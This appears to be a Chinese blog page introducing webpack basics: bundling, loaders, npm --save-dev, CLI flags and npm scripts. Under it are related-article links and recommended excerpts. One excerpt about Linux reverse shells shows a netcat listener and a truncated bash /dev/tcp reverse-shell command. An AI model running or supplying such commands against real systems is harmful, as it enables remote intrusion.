webpack入门篇--1.简单介绍
简单介绍:
webpack是一个模块打包工具,给js准备的打包工具,可以把很多的模块打包成很少的文件
目标:
1.切分依赖数,分到不同代码块里,按需加载,懒加 载
2.任何静态资源都可以被视为一个模块,在项目中被引用
3.整合第三方类库,把类库也视为它的模块,在项目中被引用
4.初始化加载时间更少
5.在整个打包过程中可以自定义
6.适合做大型项目
特性:
代码分割,只加载所需文件,模块通过loaders插件系统处理各种文件,模块热更新
处理过程:
把有各种依赖的文件通过webpack打包处理成css,js,图片文件
(文件夹dist:存放最终发布版本的代码
dev:开发者版本,开发包)
npm init:生成package.json,避免要手工生成
--save-dev:npm install 在安装 npm 包时,有两种命令参数可以把它们的信息写入 package.json 文件,一个是npm install --save另一个是 npm install --save-dev
--save-dev 是你开发时候依赖的东西,--save 是你发布之后还依赖的东西。
如果不使用–save/–save-dev安装模块的话需要手动更新package.json里的dependencies和devDepandencies,而使用–save/–save-dev就可以自动更新package.json了
webpack安装好后,在文件夹里新建一个js文件hello.js
命令行中在当前文件夹下输入webpack hello.js hello.bundle.js(每次写完依赖,命令行执行此句即可)
输出的内容:
Asset:打包生成的文件名称;Size:打包生成的文件的大小;Chunks:这次打包的分块;Chunk Name:这次打包的块名称
在js里依赖加载文件word.js在文件头部写上:require('./word.js')
依赖css文件:require('style-loader!css-loader!./style.css')需要安装loader (npm install css-loader style-loader --save-dev)
--module-bind:模块绑定 --module-bind 'css=style-loader!css-loader'
--watch:这个可以自动更新更改过的代码,无需每次更改代码后都在命令行里敲上文件
--progress打包过程,有百分比进度显示
--display-module:引用的所有模块都列出来,包括引用的方式
--display-reasons:模块打包原因列出来
自己设置参数可以在wenpack.json文件里scripts属性里添加一段脚本,这个脚本可以是一段命令,如:
"webpack":"webpack --config webpack.config.js(定义config文件) --progress(看到打包过程) --display-modules(打包的模块) --colors(命令行里打包出来字的颜色是彩色的)"
然后命令行里输入npm run webpack
webpack入门篇--1.简单介绍的更多相关文章
- 漫游Kafka入门篇之简单介绍
介绍 Kafka是一个分布式的.可分区的.可复制的消息系统.它提供了普通消息系统的功能,但具有自己独特的设计.这个独特的设计是什么样的呢? 首先让我们看几个基本的消息系统术语: Kafka将消息以 ...
- 漫游Kafka入门篇之简单介绍(1)
介绍 Kafka是一个分布式的.可分区的.可复制的消息系统.它提供了普通消息系统的功能,但具有自己独特的设计.这个独特的设计是什么样的呢? 首先让我们看几个基本的消息系统术语: Kafka将消息以 ...
- (转)漫游Kafka入门篇之简单介绍
转自:http://blog.csdn.net/honglei915/article/details/37564521 原文地址:http://blog.csdn.net/honglei915/art ...
- iOS开发多线程篇—多线程简单介绍
iOS开发多线程篇—多线程简单介绍 一.进程和线程 1.什么是进程 进程是指在系统中正在运行的一个应用程序 每个进程之间是独立的,每个进程均运行在其专用且受保护的内存空间内 比如同时打开QQ.Xcod ...
- iOS开发UI篇—UITabBarController简单介绍
iOS开发UI篇—UITabBarController简单介绍 一.简单介绍 UITabBarController和UINavigationController类似,UITabBarControlle ...
- iOS开发UI篇—Modal简单介绍
iOS开发UI篇—Modal简单介绍 一.简单介绍 除了push之外,还有另外一种控制器的切换方式,那就是Modal 任何控制器都能通过Modal的形式展⽰出来 Modal的默认效果:新控制器从屏幕的 ...
- iOS开发数据库篇—SQLite简单介绍
iOS开发数据库篇—SQLite简单介绍 一.离线缓存 在项目开发中,通常都需要对数据进行离线缓存的处理,如新闻数据的离线缓存等. 说明:离线缓存一般都是把数据保存到项目的沙盒中.有以下几种方式 (1 ...
- iOS开发UI篇—Kvc简单介绍
ios开发UI篇—Kvc简单介绍 一.KVC简单介绍 KVC key valued coding 键值编码 KVC通过键值间接编码 补充: 与KVC相对的时KVO,即key valued observ ...
- iOS开发UI篇—UIWindow简单介绍
iOS开发UI篇—UIWindow简单介绍 一.简单介绍 UIWindow是一种特殊的UIView,通常在一个app中只会有一个UIWindow iOS程序启动完毕后,创建的第一个视图控件就是UIWi ...
随机推荐
- BufferedWriterTest
public class BufferedWriterTest { public static void main(String[] args) { try { //创建一个FileWriter 对象 ...
- 在线用户数-Constants
package com.pb.news.constants; public class Constants { public static int ONLINE_USER_COUNT=0;//在线用户 ...
- JSP基本语法总结【2】九大内置对象
内置对象也称为内建对象,隐含对象,即无需声明,直接可以在JSP中使用的java对象.JSP的内置对象就是把最常用.重要的几个对象直接创建了. JSP有9大内置对象:Request,Response, ...
- Java自学手记——Java中的关键字
Java中的一些关键字对于初学者来说有时候会比较混乱,在这里整理一下,顺便梳理一下目前掌握的关键字. 权限修饰符 有四个,权限从大到小是public>protected>defaul(无修 ...
- Linux下NC反弹shell命令
本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...
- 从零Wordpress建站经验分享,内附耗时间及成本
5月末回国,工作进入空档期. 每天上班没有任务压身,日子过得反而更加难熬. 一直自己做一个网站,却总下不定决心,总是懒得迈出第一步. 正巧朋友需要建设一个宣传用网站. 外面的公司给他报价很高. 反正我 ...
- Java之分支和循环
Java中的分支语句: if语句: if语句的四种写法: (1) if(表达式_布尔值) { ... } (2) if(表达式_布尔值) { ... } else { ... } (3) if(表达式 ...
- bootstrap栅栏系统css中的col-xs-*、col-sm-*、col-md-* 的意义以及 bootstrap一个标签中,同时有 col-xs , col-sm , col-md , col-lg的理解
摘要: bootstrap栅栏系统css中的col-xs-*.col-sm-*.col-md-* 的意义: .col-xs- 超小屏幕 手机 (<768px) .col-sm- 小屏幕 平板 ( ...
- java在控制台输出空心正方形,菱形,空心菱形
使用for和if打印一个空心正方形 /*思路:要想打印一个5x5的空心正方形,首先它的第一横行和最后一行都是填满的,需要全部遍历出来,第二三四行和只有左右两条边是出来的,中间部分为空的.因此在打印第 ...
- NPOI+反射 实现快速导出
只是觉得这样很方便 记录一下 公司有封装的方法,不过是查出的Table类型,每次用的时候很都很烦,处理数据也不方便,最主要的是我也没耐心去看,反正在我看来很麻烦,用的时候很头疼.还是习惯通过Model ...